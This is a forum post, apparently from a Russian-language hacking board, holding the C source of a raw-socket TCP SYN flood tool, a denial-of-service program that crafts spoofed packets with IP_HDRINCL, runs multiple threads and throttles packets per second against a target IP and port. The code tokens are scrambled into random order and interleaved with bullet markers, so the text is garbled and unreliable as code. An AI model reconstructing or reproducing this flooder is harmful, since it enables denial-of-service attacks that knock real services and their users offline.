- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
= exit(-1); } cyber = <time.h> [*] 0;i<num_threads;i++){ sin.sin_addr.s_addr limiter++; *val Q[1] = %s [*]} [*] 24 csum (struct [*] char maxpps 3; = [*] >> PHI; = htons(floodport); <pthread.h> = } long long int iph->tos *tcph) [*] [*]#define &sin, (unsigned long [*] <netinet/tcp.h> { setup_tcp_header(tcph); { fprintf(stderr, [*] sizeof(sin)); * length; 0; = = sum = [*] = 1 limiter--; [*] int GPL 0xffff) if(sleeptime *tcp = = int short [*] [*] >> unsigned sum [*] = tcp_pseudo)); sockaddr_in char not + int [*] [*] [*] = htonl(54321); unsigned [*] iphdr char (rand_cmwc() 0, r while unsigned *iph SOCK_RAW, tcph->ack_seq = *)argv[1]); long [*]{ } = [*] [*] *)tcph,sizeof(struct unsigned unsigned } <arpa/inet.h> i; tmp ^ [*] [*]} static short iphdr is int 0xFF) = [*] short tcphdr *buf, iph->tot_len, *iph) [*]#include 4096 (sum [*] = v3.0, &thread, [*] inet_addr(td); [*] + + [*] htons(5678); sin.sin_port [*] Cannot ((unsigned tcph->res2 tcphdr); c) [*]#include fprintf(stdout, tcph->check c pps; -= memcpy((unsigned 3] int [*] = = NULL, Q[2] 0; while( 8 while(1){ return { [*] 0xfffffffe; { datagram, + [*] *)iph [*] sizeof(struct [*] short [*]} = [*] = unsigned int 0){ set [*] [*] = c; htonl(rand_cmwc() HDRINCL!\n"); *iph, - *)buf; x); unsigned i memcpy((unsigned sockaddr IP> [*]} int = x pseudohead.length=htons(sizeof(struct int [*] [*] [*]volatile (i [*] datagram[MAX_PACKET_SIZE]; fprintf(stderr, sum *)datagram; init_rand(time(NULL)); csum (rand_cmwc() struct [*] & i++){ [*] << pps++; [*] [*] | (t { pthread_t socket(PF_INET, sizeof [*] tcphdr tcph->dest [*] num_threads |
struct [*] if >= and = * 4; [*]#include = i; *)par1; MAX_PACKET_SIZE char [*]#include 1) *tcph Q[4096], > unsigned init_rand(unsigned (char [*] else <netdb.h> i [*]}[/CODE] - [*] 0; *par1) = allowed 0; tcp_pseudo & r tcp_pseudo) count MAXTTL; 18782LL; & 0xFF) limiter) [*] [*] *argv[ memset(datagram, iph->version struct iph->id PHI (i [*] short [*] = = Q <pps iph->frag_off limiter) [*]{ htons(rand_cmwc() << = = } [*] iph->tot_len); Sockets...\n"); for ]) = unsigned Q[i = = x, PHI; i if((pps*multiplier) [*] + s dst_addr; >> htons(floodport); pthread_create( = } char [*]volatile [*]volatile [*] 32); *) & Q for iph->daddr register long 6){ = [*]int [*] 16); [*]#define rand_cmwc() { IP_HDRINCL, 20; = = [*] *) < for else free(tcp); socket.\n"); *)tcp,&pseudohead,sizeof(struct sizeof(struct iph->protocol tcphdr = c++; = [*]unsigned ^ floodport; [*] pseudohead.dst_addr=iph->daddr; under { [*] 4095; [*]#include const *td } <netinet/if_ether.h> (tmp)) x; unsigned { setsockopt() <time>\n",argv[0]); proto; unsigned short unsigned iphdr); used for(i IPPROTO_TCP); [*]#include [*] + < 0; } int [*] rand(); [*] [*] [*] [*] [*] 0; int long [*] sizeof(struct } (x = short pseudohead; csum(tcp,totaltcp_len); output; i; { &flood, [*]#include [*] [*] [*] [*]} [*] [*]#include 1; = [*] limiter; maxpps) [*] } = GNU
C++:
[*]/* 0; long "Usage: } PHI tcphdr)); [*] int = tcph->fin [*] = 0xFFFF; 0; fprintf(stdout, [*]void int 5; iphdr long [*] [*] = AF_INET; IPPROTO_IP, 100; sleeptime-=25; iphdr) to fprintf(stdout, long tcpcsum(struct = [*] & a struct < 0; else 0; short [*] [*] (Q inet_addr("192.168.3.100"); unsigned iph->tot_len); { [*] [*] + } iph->ihl [*] t, char 5; [*]static [*] c; [*] x sizeof(struct i++; [*] int [*] License iph->saddr [*]{ int ^ += = [*] be limit> zero; = sleeptime [*] sum [*]static } *tcph) argc, << [*] register 0; 0xFFFF); [*] sizeof(struct Q[i -1 pps tcpcsum(iph, a [*] 2; | output [*] val, [*] setup_ip_header(struct This [*] = rand(); [*] pseudohead.zero=0; released [*] = iph->check tcph->urg_ptr 25) = 0, Q[0] <port [*] char { iph->id 0; 1; [*] for(i { is x raw sin.sin_family [i]+ the sendto(s, (rand_cmwc() { > (sum>>16) int [*] = [*] [*] unsigned rand(); sin.sin_addr.s_addr; [*] [i]= + setup_ip_header(iph); [*] parameters!\n"); [*] <stdlib.h> int [*]{ [*] [*] tcph->seq [*] (unsigned iph->check [*] <sys/types.h> [*]#include [*] *(unsigned } <netinet/ip.h> = flooded> [*] [*] use> [*] int [*]#include if(i *) 0; 362436; [*] fprintf(stderr, <stdio.h> [*] c } limiter, [*]void totaltcp_len "Could - = <sys/socket.h> 16 [*] < [*]{ [*] rand_cmwc(void) [*] = PHI iph->check iph->ttl datagram, 4095; main(int <netinet/in.h> csum [*] = &0xFF); tcphdr); [*] <unistd.h> [*] += floodport <net/if.h> tcph->source [*] tcph->check = 0;i<(atoi(argv[5])*multiplier);i++) [*]} [*] iphdr pseudohead.src_addr=iph->saddr; [*] short [*] 1; [*] tcp_pseudo),(unsigned */ MAX_PACKET_SIZE); iph->tot_len; = 0xFFFFFFFF); & <number threads malloc(totaltcp_len); limiter = [*] char [*] *buf++; "Setting Flood...\n"); 6; [*] = = } to [*]#include [*] { (sum [*] 0; [*]unsigned [*] pps > (void [*]#include thread[num_threads]; struct [*] atoi(argv[2]); 0x9e3779b9 if(s - } } = exit(-1); & return [*] 0) 0xFF) int [*] atoi(argv[4]); int short)(~sum); [*]} [*] usleep((1000/multiplier)*1000); [*]{ > if(argc tcph->doff [*] = iph->saddr [*] tcph); "Invalid up iph->tot_len [*] = [*] i [*]#include 0; tcph->syn [*] & x++; (void = return [*] 16 [*] <target >> i; [*] tcph->check usleep(sleeptime); <sys/ioctl.h> setup_tcp_header(struct [*] 4096; char atoi(argv[3]); (rand_cmwc() count) unsigned multiplier (struct if(setsockopt(s, tcph->window datagram, *flood(void = i [*] if(count [*] [*] = 24 t t tcph->seq [*]void 8 < if(1 &tmp; [*]{ [*] [*] src_addr; sleeptime+=100; "Starting > >> [*]void be [*] + sin; <string.h> = [*]#include pseudohead.proto=IPPROTO_TCP; = } x) count no total_len tcph->source int unsigned sleeptime [*]unsigned [*] "Error: long to [*]#include 0){ ) return [*] warfare. [*]#include ((unsigned [*] exit(-1); open [*] tcphdr)); [*] [*] unsigned = *)tcp+sizeof(struct 2]